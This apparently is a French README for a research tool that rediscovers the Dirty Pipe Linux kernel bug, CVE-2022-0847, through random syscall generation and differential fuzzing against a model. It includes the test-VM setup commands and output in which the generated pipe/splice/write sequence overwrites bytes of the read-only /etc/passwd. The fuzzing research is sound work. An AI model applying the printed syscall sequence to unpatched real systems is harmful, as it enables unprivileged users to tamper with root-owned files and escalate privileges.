
PoC très approximatif pour détecter/reproduire CVE-2022-0847 (dirty pipe) via la génération aléatoire de syscalls et le fuzzing différentiel contre un modèle.
Détecteur et reproducteur naïf de CVE-2022-0847 (dirty pipe). Utilise un générateur simple de séquences d'appels système / programmes à partir d'un ensemble volontairement limité de blocs de construction / valeurs d'entrée (uniquement génération, sans fuzzing avancé ; sans mutation ; sans guidage par couverture ; sans réduction / minimisation) et détecte les comportements anormaux inspirés par les tests basés sur les propriétés avec état en comparant les valeurs de retour de chaque action sur un modèle et le noyau réel (fuzzing différentiel par rapport à un modèle).
En guise d'avertissement : le code utilise beaucoup de nombres magiques / astuces / valeurs intégrées dans les blocs de construction pour pouvoir générer le PoC minimal déclencheur. Il n'est donc pas vraiment (seulement à moitié) représentatif d'une génération réaliste de la bonne séquence d'appels système avec les bons paramètres. La génération non guidée à travers tous les paramètres dans le vaste espace d'états possibles prendrait probablement beaucoup plus de temps.
J'ai essayé de marquer tous les endroits où une valeur ou le choix des actions est directement influencé par une connaissance supposée du PoC lui-même — et qui devraient donc être trouvés aléatoirement pour un PoC totalement réaliste — avec la chaîne "MAGIC VALUE".
Ceci doit être considéré comme une preuve de concept très grossière.
# Kernel has been built like described in build-kernel
# and placed together with the debian trixie file system image in
# ~/Downloads/build-linux
# Create new unprivileged user.
ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no root@localhost "useradd -m -s /bin/bash user ; mkdir ~user/.ssh/ ; cp ~/.ssh/authorized_keys ~user/.ssh/ ; chown -R user:user ~user"
# Build reproducer and copy it
cd reproducer/
cargo build
scp -i ~/Downloads/build-linux/trixie.id_rsa -P 10021 -o StrictHostKeyChecking=no target/x86_64-unknown-linux-musl/debug/reproducer-poc-CVE-2022-0847 user@localhost:
# Check system state before
ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no user@localhost cat /etc/passwd | hexdump -C | head -n3
# Run reproducer
ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no user@localhost ./reproducer-poc-CVE-2022-0847
# Check system state after
ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no user@localhost cat /etc/passwd | hexdump -C | head -n3
Output :
$ ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no user@localhost cat /etc/passwd | hexdump -C | head -n3
00000000 72 6f 6f 74 3a 3a 30 3a 30 3a 72 6f 6f 74 3a 2f |root::0:0:root:/|
00000010 72 6f 6f 74 3a 2f 62 69 6e 2f 62 61 73 68 0a 64 |root:/bin/bash.d|
00000020 61 65 6d 6f 6e 3a 78 3a 31 3a 31 3a 64 61 65 6d |aemon:x:1:1:daem|
$ ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no user@localhost ./reproducer-poc-CVE-2022-0847
Running with PRNG seed 0x000000c835dace34
thread 'main' (416) panicked at src/main.rs:50:9:
Found bug: fake_res ReadAll(Buf("[72, 6f, 6f, 74, 3a, 3a, 30, 3a]")) != ReadAll(Buf("[72, 00, 00, 00, 00, 3a, 30, 3a]")) real_res
Model:
- [OpenFile { file: Path(["", "etc", "passwd"]), pos: 8 }]
- [PipeFd { buf: [0], capacity: 65536 }]
- Env([PipeFdR(Var(0)), PipeFdW(Var(0)), File(Var(0))])
Env: Env([Fd(160), Fd(161), Fd(162)])
Program: Pgm([Pipe, WriteAll(V(1), Buf("[00, 00, 00, 00]")), Open(Path(["", "etc", "passwd"]), O_RDONLY), SpliceAll(V(2), V(1), U64(1)), WriteAll(V(1), Buf("[00, 00, 00, 00]")), ReadAll(V(0), U64(8)), ReadAll(V(2), U64(8))])
note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace
$ # note that this poc is found practically instantly
$ ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no user@localhost cat /etc/passwd | hexdump -C | head -n3
00000000 72 00 00 00 00 3a 30 3a 30 3a 72 6f 6f 74 3a 2f |r....:0:0:root:/|
00000010 72 6f 6f 74 3a 2f 62 69 6e 2f 62 61 73 68 0a 64 |root:/bin/bash.d|
00000020 61 65 6d 6f 6e 3a 78 3a 31 3a 31 3a 64 61 65 6d |aemon:x:1:1:daem|
Notez que ce PoC est légèrement différent de celui de build-kernel-and-minimal-poc, car l'ordre des appels système est modifié d'une manière qui n'affecte pas réellement le bogue.
Cela montre que l'exécution pas à pas des commandes contre le modèle et le SUT réel identifie également correctement cette situation.